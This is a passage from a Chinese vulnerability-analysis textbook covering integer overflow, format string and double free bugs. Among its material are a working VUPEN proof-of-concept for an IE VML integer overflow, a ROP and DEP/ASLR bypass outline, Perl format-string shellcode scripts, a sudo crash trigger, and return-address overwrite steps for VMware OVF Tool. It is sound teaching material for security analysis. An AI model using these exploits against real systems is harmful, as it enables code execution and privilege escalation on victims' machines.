    {"text": "图4-42 使用TextDiff进行源码比较 208 漏洞战争：软件漏洞分析精要 4.6 CVE-2013-2551 Internet Explorer VML COALineDashStyleArray 整数溢出漏洞 4.6.1 在Pwn2Own黑客大赛上攻破IE10的漏洞 在Pwn2Own 2013黑客大赛上，法国安全团队VUPEN利用漏洞攻破Windows 8的IE10，拿到高 额奖金。 他们正是利用本节要分析的CVE-2013-2551漏洞攻破IE10的，该漏洞出现在IE中负责解析 VML（向量标记语言，用XML语言绘制向量图形）的vgx.dll模块，由于在处理VML标签时对输入参 数未做有效验证导致整数溢出。"},
    {"text": "表4-7 测试环境 推荐使用的环境 备注 操作系统 Windows 7 SP1 虚拟机 简体中文旗舰版 浏览器 Internet Explorer 版本号：8.0.7601.17514 调试器 WinDbg 版本号：6.11.0001.404 反汇编器 IDA Pro 版本号：6.1 关 于 本 漏 洞 的 最 初 PoC 是 由 VUPEN 发 布 的 ， 后 经 KK 同 学 修 改 发 在 Binvul 论 坛 上 （http://www.binvul.com/viewthread.php?tid=311），笔者正是用它来触发漏洞用于分析成因的，以下 是PoC代码： <html> <head> <meta http-equiv=\"x-ua-compatible\" content=\"IE=EmulateIE9\" > </head> <title> POC by VUPEN </title> <!-- Include the VML behavior --> <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style> <!-- Declare the VML namespace --> 第4章 整数溢出漏洞分析 209 <xml:namespace ns=\"urn:schemas-microsoft-com:vml\" prefix=\"v\" /> <script> var rect_array = new Array() var a = new Array() function createRects(){ for(var i=0; i<0x400; i++){ rect_array[i] = document.createElement(\"v:shape\") rect_array[i].id = \"rect\" + i.toString() document.body.appendChild(rect_array[i]) } } function crashme(){ var vml1 = document.getElementById(\"vml1\") var shape = document.getElementById(\"shape\") for (var i=0; i<0x400; i++){ //set up the heap a[i] = document.getElementById(\"rect\" + i.toString())._vgRuntimeStyle; } for (var i=0; i<0x400; i++){ a[i].rotation; //create a COARuntimeStyle if (i == 0x300) { //allocate an ORG array of size B0h vml1.dashstyle = \"1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44\" } } vml1.dashstyle.array.length = 0 - 1 shape.dashstyle.array.length = 0 - 1 for (var i=0; i<0x400; i++) { a[i].marginLeft = \"a\"; marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16); if (marginLeftAddress > 0) { try{ shape.dashstyle.array.item(0x2E+0x16+i) = 0x41414141; } catch(e) {continue} 210 漏洞战争：软件漏洞分析精要 } } } </script> <body onload=\"createRects();\"> <v:oval> <v:stroke id=\"vml1\"/> </v:oval> <v:oval> <v:stroke dashstyle=\"2 2 2 0 2 2 2 0\" id=\"shape\"/> </v:oval> <input value=\"crash!!!\"type=\"button\" onclick=\"crashme();\"></input> </body> </html> 用IE8打开poc.html，再选择“允许阻止的内容”选项，如图4-43所示，然后用WinDbg附加 iexplore.exe运行，单击“crash!!!”按钮后触发漏洞。"},
    {"text": "用IDA反汇编VGX.dll， 然后用F5插件反编译vgx!ORG::Get函数，如图4-44所示，复制的源地址是由vgx!ORG::Get的第1个参 数计算得到的。 图4-44 vgx!ORG::Get函数的伪C代码 再回头看前面的栈回溯，vgx!ORG::Get函数的第1个参数来源于vgx!COALineDashStyleArray:: get_item函数的第1个参数，再往上就是调用OLEAUT32!DispCallFunc，已经脱离vgx.dll模块，该函数 一般用于调用ActiveX控件中的函数。"},
    {"text": "第4章 整数溢出漏洞分析 213 0:005> kb ChildEBP RetAddr Args to Child 043a9e98 6b6ccfa9 043a9ed4 1e689060 00000004 msvcrt!memcpy+0x158 043a9eac 6b71da0f 1f11cfe8 043a9ed4 00000044 vgx!ORG::Get+0x27 043a9ed8 769c3e75 1f11cfe8 00000044 043a9f3c vgx!COALineDashStyleArray::get_item +0x8c 043a9ef8 769c3cef 1f324ff0 00000024 00000004 OLEAUT32!DispCallFunc+0x165 043a9f88 6b7047c1 0a447454 1f324ff0 00000000 OLEAUT32!CTypeInfo2::Invoke+0x23f 因此，我们可以推断：vgx!COALineDashStyleArray::get_item只是用于触发异常，而非真正造 成漏洞的函数。"},
    {"text": "先看下poc.html中的<body>元素代码，如图4-45所示，主要用VML画出两个圆，分别设置id为vml1 和shape，并对shape用dashstyle属性设置线条风格，关于dashstyle的各个属性值定义可以参考MSDN 的描述：http://msdn.microsoft.com/en-us/library/bb264085(v=vs.85).aspx。 图4-45 poc.html中的<body>元素代码 其中的createRects函数代码如图4-46所示，创建出0x400个v:shape元素，用shape可以画出各种所 需的图形。 图4-46 createRects函数代码 单击poc.html中的触发按钮后会调用crashme函数，该函数首先获取前面0x400个shape元素的 _vgRuntimeStyle属性，即运行时样式，再通过它获取rotation（元素旋转）属性值，然后再设置vml1 元素的dashstyle属性，长度为0x2C(44)，后面设置dashstyle数组长度时会与该值做比较，如图4-47所 示。"},
    {"text": "214 漏洞战争：软件漏洞分析精要 图4-47 crashme函数 在4.3节中我们已经讲过利用IDA快速找到JavaScript函数对应IE类函数的方法，此处就用到这种 方法。"},
    {"text": "先在IDA的“Functions Windows”中按“Alt + T”组合键，然后在搜索框中输入“runtimestyle”， 可 以 找 到 COARuntimeStyle 类 ， 而 且 仅 此 一 个 ， 如 图 4-48 所 示 。"},
    {"text": "图4-48 导出函数列表 对于设置vml1.dashstyle属性所对应的IE类，我们也可依此方法再搜索下包含“dashstyle”和“put” 的类函数，或者搜索“dashstyle::put”这样的关键字，可以找到两处，如图4-49所示，通过函数名也 第4章 整数溢出漏洞分析 215 很容易断定设置dashstyle属性的函数是COALineDashStyle::put_value。 图4-49 用于设置dashstyle属性的COALineDashStyle::put_value函数 继续看PoC代码，接下来它会设置dashstyle数组长度值为-1，即0xFFFFFFFF。"},
    {"text": "图4-50 设置dashstyle数组长度值为-1 通过IDA搜索找到设置长度的IE类函数为：COALineDashStyleArray::put_length，用WinDbg动态 跟踪dashstyle数组长度值的传递情况。"},
    {"text": "在PoC中的最后一段JavaScript 代 码 中 （ 如 图 4-51 所 示 ） ， 通 过 dashstyle.array.item 对 dashstyle 数 组 进 行 索 引 取 值 时 ， 会 调 用 vgx!COALineDashStyleArray::get_item函数获取数组元素，此时就可能导致数组越界访问，最后造成 进程异常崩溃。"},
    {"text": "图4-51 PoC关键代码 4.6.3 利用信息泄露实现漏洞利用 实现EIP劫持的关键代码就在图4-51所示的JavaScript代码中，其中a[i].marginLeft调用的就是 图4-52所示的COARuntimeStyle::put_marginLeft，这一点已经简单分析过。"},
    {"text": "用IDA反汇编该函数，可 以发现该函数会将设置的字符串保存在CRuntimeStyleInfo（通过WinDbg动态跟踪CVMLShape:: GetRTSInfo函数的返回值可以确认）结构偏移0x58的内存地址，即PoC.HTML里面a[i].marginLeft = “a”中“a”字符串在内存中的地址。"},
    {"text": "（1） 通过构造 0x400 个 COARuntimeStyle 对象，在第 0x301（从 0 开始计算，因此需要再加 1）创建 包含 44 个元素的 dashstyle 数组，它会分配 4*44 = 0xB0 大小的 ORG 数组。 （2） 当 ORG 数组与 COARuntimeStyle 对象相邻时，可以利用漏洞越界访问到 COARuntimeStyle 对 象偏移 0x58 的字符串，相当于 ORG 数组的第 0x2C + 8/4 + 0x58/4 = 0x2E + 0x16 个元素（其中 8 代表堆头大小，除以 4 是由于每个元素占用 4 字节），从而获得 COARuntimeStyle.marginLeft 字符串在内存中的位置，如图 4-53 所示。"},
    {"text": "图4-53 利用漏洞越界访问数组，从而获得可控字符串的内存地址 （3） 通 过 泄 露 地 址 固 定 偏 移 计 算 出 ntdll.dll 基 址 ， 再 利 用 基 址 构 造 出 ROP 指 令 来 调 用 ntdll!ZwProtectVirtualMemory 函数将 Shellcode 地址设置为可读可写可执行权限，从而绕过 DEP 第4章 整数溢出漏洞分析 225 + ASLR 保护，如图 4-54 和图 4-55 所示（Metasploit 利用代码）。"},
    {"text": "（4） 再次利用漏洞将 vgx!CsafePtr 虚表指针覆写掉，从而获得代码执行，如图 4-56 所示。 图4-54 针对不同的ntdll版本指定泄露地址与ntdll基址之间的偏移量 图4-55 构造rop指令 图4-56 利用漏洞将vgx!CsafePtr虚表指针覆盖，从而实现任意代码执行 由于安装该漏洞补丁后，PoC中的JavaScript会因部分对象无法获取到而导致无法正常解析，因 此这里不再对漏洞补丁进行分析，有兴趣的读者可以跟进下。"},
    {"text": "226 漏洞战争：软件漏洞分析精要 4.7 总结 本章主要就整数溢出的原理和实际漏洞案例进行分析，漏洞案例以IE、Firefox浏览器和Adobe PDF Reader等主流软件为例，同时列举了4种不同的分析方法进行实践和总结，对于其中部分漏洞的 经典利用方法也做了分析，但由于篇幅及本书主题主要讲漏洞分析，因此书中并不会对每个漏洞的 利用进行分析，还请读者谅解。 可能上面的部分漏洞在网上已经有人发文章分析过，但很多是直接贴漏洞代码分析，即结论式 分析，对于入门者很难起直接指导作用，因此笔者在分析这些漏洞时，尽量以讲解分析思路为主， 可能有些分析思路没有直接对当时分析的漏洞提供帮助，但至少反映出在分析漏洞时的思考过程， 这也是笔者撰写本书的目的之一。"},
    {"text": "第5章 格式化字符串漏洞分析 227 第 5 章 格式化字符串漏洞分析 5.1 格式化字符串漏洞简史 格式化字符串（Format String）漏洞最早是在1999年被Tymm Twillman发现的，他在著名的 BugTrag邮件列表（一个专业的计算机安全邮件列表服务机构，有许多国内外的安全研究人员在上面 公布漏洞，有时也提供漏洞细节与利用代码）中公布了一篇关于proftpd软件漏洞的文章 Exploit for proftpd 1.2.0pre6 （http://seclists.org/bugtraq/1999/Sep/328），这就是最早关于格式化字符串漏洞的公 开描述。"},
    {"text": "直到2000 年，tf8在BugTrag上公布了一份利用wu-ftpd格式化字符串漏洞实现任意代码执行的漏洞（WuFTPD: Providing *remote* root since at least1994，http://seclists.org/bugtraq/2000/Jun/297），才使格式化字符 串这类漏洞被广为人知，人们也逐步意识到它所带来的安全危害。"},
    {"text": "相对缓冲区溢出而言，格式化字符串更容易在源码和二进制分析中被发现，也比较容易在自动 化检测过程中被发现，可能正是因为如此，才导致格式化字符串漏洞的“产量”远不如缓冲区溢出 漏洞。"},
    {"text": "5.2 格式化字符串漏洞的原理 格式化字符串漏洞的产生主要源于对用户输入内容未进行过滤，这些输入数据都是作为参数传 递给某些执行格式化操作的函数，如printf、fprintf、vprintf、sprintf等。 恶意用户可以使用“％s”和 “％x”等格式符，从堆栈或其他内存位置输出数据，也可以使用格式符“％n”向任意地址写入任 意数据，配合printf（）函数和其他类似功能的函数就可以向任意地址写入被格式化的字节数，可能 导致任意代码执行，或者从漏洞程序中读取敏感信息，比如密码等。 下面以示例代码为例进行分析，以帮助大家进一步了解格式化字符串漏洞的原理。 在Windows 7 平台上用VC6编译以下代码： #include <stdio.h> 漏洞战争：软件漏洞分析精要 228 漏洞战争：软件漏洞分析精要 #include <string.h> int main (int argc, char *argv[]) { char buff[1024]; strncpy(buff,argv[1],sizeof(buff)-1); printf(buff); // 触发漏洞 return 0; } 运行效果如图5-1所示，当输入参数包含“%s”或“%x”等格式符时会意外输出其他数据，而 非格式符本身。"},
    {"text": "图5-1 当输入参数包含格式符时导致输出意外数据 为了能更清楚地理解输出上述意外数据的原因，我们用OllyDbg加载FormatStr.exe，执行前需要 先设置命令行参数，通过单击菜单“调试”→“参数”选项，在弹出的设置框里的“命令行”输入 “test-%x”，如图5-2所示。"},
    {"text": "图5-3 栈顶数据 第5章 格式化字符串漏洞分析 229 在运行FormatStr.exe时，传递给printf的参数只有一个“test-%x”，但如图5-3所示，它把输入参 数“test-%x”之后的另一个栈上数据当作参数传递给printf函数，因为printf默认的基本形式是： printf(\"格式化控制符\", 变量列表); 此时的栈布局如图5-4所示。 图5-4 在printf函数执行时的栈布局 我们传递给printf的只有一个参数，但程序默认将栈上的下一个数据作为参数传递给printf函数， 刚好本例中的下一个数据是strncpy函数的目标地址，即buff变量，buff刚好指向“test-%x”的地址 0x12FECC，所以程序执行时会再输出0x12FECC，如图5-5所示。 如果输入参数后面再加个“%x”， 就会将strncpy函数的src参数值输出，这样就能遍历栈上数据。 图5-5 调试FormatStr时的输出结果 除了利用“%x”读取栈数据外，还可以使用其他格式化符号读写数据，其中“%n”常用于写内 存数据（比如修改返回地址）来实现漏洞利用，如表5-1所示就是常见的各种格式化控制符。 230 漏洞战争：软件漏洞分析精要 表5-1 常见的格式化控制符 格式化控制符 作用 示例 \\n 回车或换行 printf(\"test\\n\"); %x 十六进制数值 printf(\"%x\", 0x123); %d 十进制整数值 printf(\"%d\", 123); %s 字符串值 printf(\"%s\", \"test\"); %c 单个字符值 printf(\"%c\", \"a\"); %p 指针值 printf(\"%p\", ptr); 将已打印的字符串长度（DWORD 值）输出到指定变量 printf(\"show%n\\n\", &i); %n 结果 i=4 将已打印的字符串长度（WORD 值）输出到指定变量 printf(\"show%hn\\n\", &i); %hn 结果 i=4 接下来，我们看下如何利用这个漏洞。 为方便调试，先输入一些格式化控制符使程序崩溃，如 图5-6所示，输入“FormatStr.exe test-%x-%x-%x-%n”后程序崩溃。 图5-6 程序崩溃 设置OllyDbg为实时调试工具，在崩溃窗口单击“调试”按钮就会调用OllyDbg附加崩溃进程， 断在如图5-7所示的mov指令，该指令将ECX写入EAX指令的地址，这条指令其实就是由于“%n”格 式化符号导致的写操作，ECX=0x16代表输出的字符个数，如果读者熟悉ASCII码的话，会发现EAX 的值0x74736574，对应就是“test”字符串，是我们传递给FormatStr的参数，说明ECX和EAX都是可 控的，这样我们就相当于实现向任意地址写入任意数据的功能。 图5-7 导致崩溃的写操作指令 为了覆盖返回地址，我们需要将EAX设置成返回地址，将ECX设成Shellcode地址，Shellcode必 第5章 格式化字符串漏洞分析 231 须指向传递给FormatStr的字符串参数中的某位置，否则就无法控制Shellcode内容。 对于ECX，主要通过设置输出字符个数控制该值，比如将“%x”改变为“%11111x”来增加输 出字符个数： FormatStr.exe test-%11111x-%11111x-%11111x-%n 崩溃后用OllyDbg附加调试，ECX与EAX的值如下： ECX=0000823D DS:[74736574]=??? 前面已经知道“test”的内存地址为0x0012FECC，即十进制1244876，为了方便ECX指向Shellcode， 我们可以将ECX指向0x0012FECC附近的地址。 前面用了3个“%x”，将1244876/3= 414958，同时在 test之后增加一串“AAA……”作为Shellcode，然后设法将ECX指向这串A字符： FormatStr.exe testAAAAAAAAAAAAAAAA-%414958x-%414958x-%414958x-%n 运行后： ECX=0012FEE2, (ASCII \"414958x-%414958x-%414958x-%n\") DS:[74736574]=??? 为了令ECX指向“AAA……”，重新调整输入参数为： FormatStr.exe testAAAAAAAAAAAAAA-%414953x-%414953x-%414953x-%n 运行后发现已经指向“AAA……”： ECX=0012FED1, (ASCII \"AAAAAAAAAAAAA-%414953x-%414953x-%414953x-%n\") DS:[74736574]=??? 但如果我们直接将“AAA……”换成Shellcode，打印出来的字符个数也会增加，ECX指向的位 置也往后移，到时还是需要再做一定调整。 此时，就可以使用Perl或者Python脚本进行动态调整，或 者先构造Shellcode替换“AAA……”再重新定位。 接下来，我们需要将“test”替换成返回地址，先 在OllyDbg中按“Alt+K”组合键查看调用栈，找到一个可用的返回地址0x0012FF4C，如图5-8所示。"},
    {"text": "图5-8 调用堆栈 这里出现“\\x00”，将其传递给FormatStr.exe会被截断，因此我们不能在字符串中间出现“\\x00” 字符，除非使用字符串结尾的终止符来代替。"},
    {"text": "#!/usr/bin/perl my $nops = \"\\x90\" x 12; my $shellcode = \"\\xCC\" x 293; # 假设使用到 293 字节的 shellcode my $x = \"%x\" x 169; my $format = '-%414115x-%414115x-%414115x-%n'; my $ret = \"\\x42\\x42\\x42\\x00\"; my $buf = $nops.$shellcode.$x.$format.$ret; system('FormatStr.exe',\"$buf\"); 图5-9 令ECX指向预设的Shellcode 此时，返回地址已经指向0x00424242，ECX指向“CC…”的起始地址。"},
    {"text": "my $ret = \"\\x4C\\xFF\\x12\\x00\"; 为 方 便 崩 溃 时 调 试 ， 笔 者 将 $Shellcode 的 起 始 部 分 改 成 JMP 0x41414141 对 应 的 机 器 码 “\\xE9\\xF0\\x45\\x2E\\x41”，当Shellcode执行成功时就会执行到0x41414141地址导致崩溃。"},
    {"text": "#!/usr/bin/perl my $nops = \"\\x90\" x 8; my $shellcode = \"\\xCC\" x 224; $shellcode = \"\\xE9\\xE8\\x45\\x2E\\x41\".$shellcode; # JMP 0x41414141 机器码，当执行该条 shellcode 指令后程序就会崩溃，以方便调试确认 my $x = \"%x\" x 129; my $format = '-%1242718x-%n'; my $ret = \"\\x4C\\xFF\\x12\\x00\"; # 返回地址 0x0012FF4C，有无\\x00 结果是一样的，因为字符串的末 第5章 格式化字符串漏洞分析 233 尾会被自动加上 NULL 终止符 my $buf = $nops.$shellcode.$x.$format.$ret; system('FormatStr.exe',\"$buf\"); 图5-10 成功执行到Shellcode地址 总结 （1） 通过“%n”格式化控制符实现用任意数据（ECX）写任意地址（EAX），一般是用 Shellcode 地址覆盖返回地址或者 SEH 异常处理地址。"},
    {"text": "234 漏洞战争：软件漏洞分析精要 5.3 CVE-2012-0809 Sudo sudo_debug函数格式化字符串漏洞 5.3.1 漏洞描述 Sudo是Linux系统管理工具，允许普通用户以root权限执行某些命令。 在Sudo 1.8.0 ~ 1.8.3p1版本 之间的sudo_debug函数存在格式化字符串漏洞，当把程序名作为格式化字符串的一部分传递给 fprintf() 函数时就会触发该漏洞。"},
    {"text": "例如： $ ln -s /usr/bin/sudo ./%s $ ./%n -D9 Segmentation fault 利用漏洞能够获得root权限，以root权限执行任意代码。 5.3.2 通过源码比对分析漏洞 下面是对版本号1.8.3p1与1.8.3p2的源码比较（具体需要分析的版本号，可通过漏洞公告确认， 该漏洞是在sudo 1.8.3p2版本中修复的），在漏洞函数sudo_debug中，getprogname用于获取程序名， 相当于argv[0]，将其保存在fmt2中，然后将它作为格式化字符串的一部分通过vfprintf函数传递给 stderr，导致格式化字符串漏洞的发生，如图5-11所示。 图5-11 漏洞函数sudo_debug 修复后的版本，不再使用fmt2参数传递格式化字符，而是直接将“%s: %s\\n”作为参数，这样格 式化字符参数就不可控制，从而修复格式化字符串漏洞。"},
    {"text": "第5章 格式化字符串漏洞分析 235 图5-12 源码比对 关于该漏洞的利用，国外安全研究员已经有过分析，具体见文章 Exploiting Sudofromat string vunerability ，链接http://www.vnsecurity.net/2012/02/exploiting-sudo-format-string-vunerability/。"},
    {"text": "5.4 CVE-2012-3569 VMware OVF Tool格式化字符串漏洞 5.4.1 漏洞描述 VMware OVF Tool是由VMware免费提供的一款支持虚拟的导入导出工具，支持以命令提示符的 方式运行。 该工具在解析OVF文件时存在格式化字符串漏洞，攻击者通过诱使用户加载恶意构造的 OVF文件，利用漏洞实现任意代码执行。"},
    {"text": "5.4.2 基于输出消息的漏洞定位方法 本 次 漏 洞 分 析 的 测 试 环 境 如 表 5-2所示，漏洞程序可以从网盘上下载：http://dl.vmall.com/ c0b6ztz9mm。"},
    {"text": "表5-2 测试环境 推荐使用的环境 备注 操作系统 Windows XP SP3 简体中文版 虚拟机工具 VM VisualBox 版本号：4.2.6 r82870 调试器 OllyDbg 版本号：1.0 反汇编器 IDA Pro 版本号：6.1 漏洞程序 VMware OVF Tool 版本号：2.1.0-467744 在命令行下用ovftool.exe打开poc.ovf，执行后程序崩溃，并输出一些文本内容，如图5-13所示。"},
    {"text": "236 漏洞战争：软件漏洞分析精要 图5-13 程序崩溃 如果我们此时单击“取消”按钮，用默认调试器附加，打开后会发现调试器里的反汇编窗口是 空，而且栈回溯也是空的，说明栈空间已经完全被破坏了，如图5-14所示。 图5-14 栈空间已被破坏 第5章 格式化字符串漏洞分析 237 这是对栈上数据的破坏，因此即使开启“页堆”进行调试也无法马上定位到漏洞触发函数。 前面已经分析过格式化字符串的原理，导致此类漏洞的原因主要在打印函数的参数上，如果我 们能够定位到相关的打印函数，那么漏洞原因就相对比较好分析了。"},
    {"text": "首先，按“Alt + E”组 合键打开可执行模块，选中并双击“ovftool”模块，然后在OllyDbg窗口单击鼠标右键，在弹出菜单 中选中“查找”→“所有参考文本字串”选项，如图5-15所示。 图5-15 查找所有参考文本字符串 接着，在参考文本字符串窗口中单击鼠标右键，选择“查找文本”选项，输入“Invalid value” 进行搜索，如图5-16所示。 图5-16 搜索“Invalid value”字符串 双击搜索到那条指令，来到图5-17所示的地址。 238 漏洞战争：软件漏洞分析精要 图5-17 使用“Invalid value”的指令 通过分析上述地址所在函数，发现该函数只是使用std::basic_string分配一些字符串而已，因此我 们直接按“Ctrl +F9”组合键执行到返回，返回后再单步F8跟踪下去。 因为触发漏洞需要打印出字符 串 ， 所 以 只 需 要 单 步 F8 跟 踪 下 去 ， 直 到 遇 到 能 够 在 命 令 行 窗 口 输 出 poc.ovf 文 件 中 “ovf:capacityAllocationUnits”属性值（开头为一串A字符）的函数，然后再跟进，继续跟踪直到定 位到微软提供的打印函数。"},
    {"text": "图5-18 打印函数std::basic_ostream 第5章 格式化字符串漏洞分析 239 执行之后，参数中的“%08x”不会被直接输出，而是读取栈数据出来，如图5-19所示。"},
    {"text": "由于程序使用通过std::basic_ostream 的operator成员函数进行格式化输出，但对输入参数未做有效过滤，当输入控制符时，可导致格式化 字符串漏洞。 图5-20 std::basic_ostream函数 5.4.3 漏洞利用 通过“%x”控制字符输出数量，再结合“%n”控制符覆盖返回地址，如图5-21和图5-22所示， 其利用原理与前面章节讲的一样，此处不再赘述。"},
    {"text": "图5-21 覆盖返回地址0x4852526F 240 漏洞战争：软件漏洞分析精要 图5-22 成功控制返回地址 我们已经用ovf文件中的可控字符串覆盖了返回地址，试着把“oRRH”替换成“AAAA”，看 是否会执行到0x41414141。"},
    {"text": "接下来，用CALL ESP或者JMP ESP指令地址去覆盖它，比如0x7852753d，如图5-24所示。 图5-23 应用程序错误 图5-24 用于覆盖返回地址的call esp指令地址 在CALL ESP后面跟上Shellcode，即可实现任意代码执行，这里的Shellcode最好是字母数字型的， 否则可能导致ovftool无法识别，最后会出错退出，如图5-25所示。 第5章 格式化字符串漏洞分析 241 图5-25 调用CALL ESP跳转到Shellcode地址 执行CALL ESP即进入Shellcode，如图5-26所示。"},
    {"text": "图5-27 成功执行任意代码 5.5 总结 本章主要讲述格式化字符串的漏洞原理、分析技巧与利用方式，介绍了基于源码比对和输出消 息定位漏洞代码的两种分析技巧，分析的案例也都是现实世界中的软件漏洞。"},
    {"text": "格式化字符串漏洞从 源码审计或者黑盒审计上都比较容易分析出来，这也就导致格式化字符串的曝光率降低，同时程序 员在编写程序时，造成格式化字符串漏洞的概率要比溢出等其他常见漏洞类型的情况低。"},
    {"text": "虽然如此，但在格式 化字符串漏洞利用中，将漏洞转换成“任意数据写任意地址”的情况，在其他类型漏洞的利用思路 中依然是可以借鉴和扩展的。"},
    {"text": "第6章 双重释放漏洞分析 243 第 6 章 双重释放漏洞分析 6.1 双重释放漏洞简史 最早被曝光存在双重释放漏洞（Double Free）是在2002年3月11日，由Zlib官方公告Zlib压缩库 存在双重释放漏洞，链接见：http://www.gzip.org/zlib/advisory-2002-03-11.txt，其对应的CVE编号为 CVE-2002-0059。 2003年2月，在著名的Bugtrag漏洞公告邮件列表上，国外安全研究人员Igor Dobrovitski 公布了 一份关于Linux CVS（版本控制系统）双重释放漏洞（CVE-2003-0015）的利用代码 Exploit for CVS double free() for Linux pserver （http://seclists.org/bugtraq/2003/Feb/42），通过控制堆块的前后向指针， 实现写任意地址，然后用Shellcode地址覆盖特定的函数指针，从而实现任意代码执行。 2003年7月， 国内著名安全公司绿盟科技在其月刊上发布文章《GLIBC环境下double-free堆操作漏洞利用原理及相 关漏洞分析》（http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1904），对堆分配管 理机制及双重释放的利用技巧进行分析，同时从源码层分析出造成CVS漏洞的原因。"},
    {"text": "2007年，在著名的BlackHat USA黑帽大会上，来自IOActive安全公司的Justin Ferguson在大会上 分享了 Understanding the heap by break it 议题，针对双重释放漏洞提出新的漏洞利用思路。"},
    {"text": "6.2 双重释放漏洞的原理 双重释放漏洞主要是由对同一块内存进行二次重复释放导致的，利用漏洞可以执行任意代码。 为了理解双重释放的原理，笔者以下列代码为例进行分析，编译环境依然是Windows 7 + VC6，编译 成Release，否则Debug会自动检测双重释放导致程序中断。 #include <stdio.h> #include \"windows.h\" int main (int argc, char *argv[]) { void *p1,*p2,*p3; 漏洞战争：软件漏洞分析精要 244 漏洞战争：软件漏洞分析精要 p1 = malloc(100); printf(\"Alloc p1：%p\\n\",p1); p2 = malloc(100); printf(\"Alloc p2：%p\\n\",p2); p3 = malloc(100); printf(\"Alloc p3：%p\\n\",p3); printf(\"Free p1\\n\"); free(p1); printf(\"Free p3\\n\"); free(p3); printf(\"Free p2\\n\"); free(p2); printf(\"Double Free p2\\n\"); free(p2); return 0; } 编译执行后，在多次二次释放p2堆块时，程序崩溃，如图6-1所示。 图6-1 程序崩溃 但并不是每次出现双重释放都会导致程序崩溃，比如以下代码先对p2进行双重释放，再释放p1 和p3： #include <stdio.h> #include \"windows.h\" 第6章 双重释放漏洞分析 245 int main (int argc, char *argv[]) { void *p1,*p2,*p3; p1 = malloc(100); printf(\"Alloc p1：%p\\n\",p1); p2 = malloc(100); printf(\"Alloc p2：%p\\n\",p2); p3 = malloc(100); printf(\"Alloc p3：%p\\n\",p3); printf(\"Free p2\\n\"); free(p2); printf(\"Double Free p2\\n\"); free(p2); printf(\"Free p1\\n\"); free(p1); printf(\"Free p3\\n\"); free(p3); return 0; } 编译执行后并不会崩溃，可能需要再释放某些堆块才会导致崩溃，如图6-2所示。 图6-2 示例代码及执行结果 这说明除了双重释放漏洞导致崩溃外，还有其他因素影响着它。"},
    {"text": "246 漏洞战争：软件漏洞分析精要 图6-3 双重释放原理 在释放过程中，邻近的已释放堆块存在合并动作，这会改变原有的堆头信息及前后向指针，之 后再对其中的地址进行引用，就会导致访问异常，最后程序崩溃。 正是因为程序引用到已释放的内 存，所以说双重释放漏洞是Use After Free（UAF漏洞的详细介绍请参考第8章）漏洞的子集。 如果程 序不存在堆块合并动作，双重释放后可能不会马上崩溃，但会在程序中会遗留隐患，导致在后续执 行过程中的某一时刻爆发。"},
    {"text": "6.3 CVE-2010-3974 Windows 传真封面编辑器 fxscover.exe双重释放漏洞 6.3.1 漏洞描述 Microsoft Windows 传 真 封 面 主 要 用 于 个 性 化 传 真 及 呈 现 更 正 式 外 观 的 传 真 传 输 ， 当 使 用 Windows传真封面编辑器打开特制的传真封面文件（.cov）时，由于它没有正确地解析cov文件，导 致双重释放漏洞，最终允许任意代码执行。"},
    {"text": "第6章 双重释放漏洞分析 247 表6-1 测试环境 推荐使用的环境 备注 操作系统 Windows 7 简体中文家庭普通版 漏洞软件 Windows Fax Cover Page Editor 版本号：6.1.7600.16385 调试器 WinDbg 版本号：6.8.0004.0 反汇编器 IDA Pro 版本号：6.1 在 命 令 行 中 输 入 “ fxscover” 命 令 ， 即 可 打 开 传真 封 面 编 辑 器 ， 然 后 用 WinDbg 附 加 进 程 fxscover.exe，用传真封面编辑器打开poc.cov文件，打开时会提示文件损坏，如图6-4所示。"},
    {"text": "图6-4 提示文件已损坏 图6-5 触发异常被断下 248 漏洞战争：软件漏洞分析精要 程序在调用free释放内存时触发异常，当遇到这种情况时，可以推测很可能是双重释放漏洞。"},
    {"text": "通 过 栈 回 溯 可 以 看 到 ， 程 序 依 次 调 用 CdrawDoc::DeleteContements → CdrawDoc::Remove → CDrawRoundRect::`scalar deleting destructor'→free等函数，也就是调用对象的析构函数时触发的。 重 新加载进程，并在调用free函数前更上几层的函数FXSCOVER!CDrawDoc::DeleteContents下断点，断 下后再执行即发生访问异常。 0:000> bl 0 e 0053b1c8 0001 (0001) 0:**** FXSCOVER!CDrawDoc::DeleteContents 1 e 70ce12e5 0001 (0001) 0:**** msi!free 断下后继续执行： 0:000> g (1e68.152c): C++ EH exception - code e06d7363 (first chance) (1e68.152c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=c0000000 ebx=00000000 ecx=40000000 edx=00000020 esi=00000364 edi=0023eec0 eip=74b42400 esp=0023ee48 ebp=0023ee70 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 COMCTL32!CMarkup::IsStringAlphaNumeric+0x1f: 74b42400 0fb706 movzx eax,word ptr [esi] ds:0023:00000364=???? 0:000> !address esi ProcessParametrs 000d1198 in range 000d0000 00163000 Environment 000d07f0 in range 000d0000 00163000 00000000 : 00000000 - 00010000 Type 00000000 Protect 00000001 PAGE_NOACCESS State 00010000 MEM_FREE Usage RegionUsageFree 可以看到这里访问了已释放的内存块，结合图6-5所示的情况，可以确认这是由于free函数释放 内存导致的双重释放漏洞。"},
    {"text": "利用该漏洞，可通过“占坑”的方式将已释放的内存填充自己的代码，比如程序在调用 MFC42u!CObject::IsKindOf函数时，会引用已释放的内存，并取对应的内存值作为虚表指针，然后通 过虚表指针索引虚函数并调用，如果我们能够提前在已释放的内存块填充自己的数据作为指针索引， 那么就可以控制程序的执行流程。"},
    {"text": "MFC42u!CObject::IsKindOf: 6948b7a8 8bff mov edi,edi 6948b7aa 55 push ebp 第6章 双重释放漏洞分析 249 6948b7ab 8bec mov ebp,esp 6948b7ad 8b01 mov eax,dword ptr [ecx] 6948b7af 8b10 mov edx,dword ptr [eax] ds:0023:feeefeee=???????? 6948b7b1 ffd2 call edx 在著名的漏洞利用代码公告平台exploit-db上，已有针对该漏洞的利用代码，执行后会创建回连 后门（http://www.exploit-db.com/sploits/fxscover_1_bind28876.zip），其利用方式与UAF漏洞利用大体 一致，因此这里不再赘述，更详细的利用方法可参见第7章UAF漏洞分析。"},
